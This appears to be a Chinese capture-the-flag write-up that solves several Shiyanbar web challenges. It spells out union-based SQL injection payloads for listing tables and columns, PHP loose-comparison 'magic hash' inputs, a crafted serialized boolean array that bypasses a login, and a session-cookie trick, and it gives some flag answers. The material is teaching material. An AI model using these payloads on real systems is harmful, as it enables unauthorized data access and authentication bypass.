实验吧决斗场-Web题 WP
[这个看起来有点简单](易)
(http://ctf5.shiyanbar.com/8/index.php?id=1)
- 很明显的SQL注入类题目,常规检验注入方法:注入
'
报错; - 判断列:
order by 1
未报错order by 2
未报错order by 3
报错; - 然后使用union 联合查询:
union select 1,2
,发现2处出现异,union select 1,database()
,查询数据库,发现数据库my_db
; - 查询表名:
union select 1,table_name from information_schema.tables where table_schema=’my_db’
找到表名为thiskey
; - 查询列名:
union select 1,column_name from information_schema.columns where table_schema=’my_db’
找到列名k0y
; - 查询字段:
union select 1,k0y from thiskey
得到flag。
[Forms](易)
(http://ctf5.shiyanbar.com/10/main.php)
- F2审查元素看到
value=0
将0改为1 得到Pin 输入Pin得到flag。
[拐弯抹角](易)
(http://ctf5.shiyanbar.com/indirection/)
- 在url后面构造
/index.php/index.php
Enter 得到flag.
[天网管理系统](易)php弱类型==
与===
的利用,序列化反序列化
(http://ctf5.shiyanbar.com/10/web1/)
- php弱类型:看到注释里面有一个提示,
<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
- 当传入的username值经md5加密后等于0,就会返回某样东西。
(240610708,QNKCDZO,aabg7XSs,aabC9RqS )
选着一个输入 返回/user.php?fame=hjkleffifer
- 复制url进入,看到unserialize(),查询php手(http://www.php.net/manual/zh/function.unserialize.php) 反序列化,根据提示:成也布尔,败也布尔;在密码处输入构造的
bool类型
的序列化数据a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
得到ctf{dwduwkhduw5465}
【a为array,s是string类型,b是bool,数字表示长度】
[Guess Next Session](易)(http://ctf5.shiyanbar.com/web/Session.php)
1.查看source code 看到
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
2.所以让password = $_session['password']
就可以了。
3.在PHP配置中的默认情况下,Session是用Session ID来确定当前对话所对应的服务器Session,而Session ID是通过Cookie来传递的,所以我们用burp抓包,发现cooike中包含了phpsessid的值。
4.发送到Repeater 将phpsessid和password的值清空,点击Go得到flag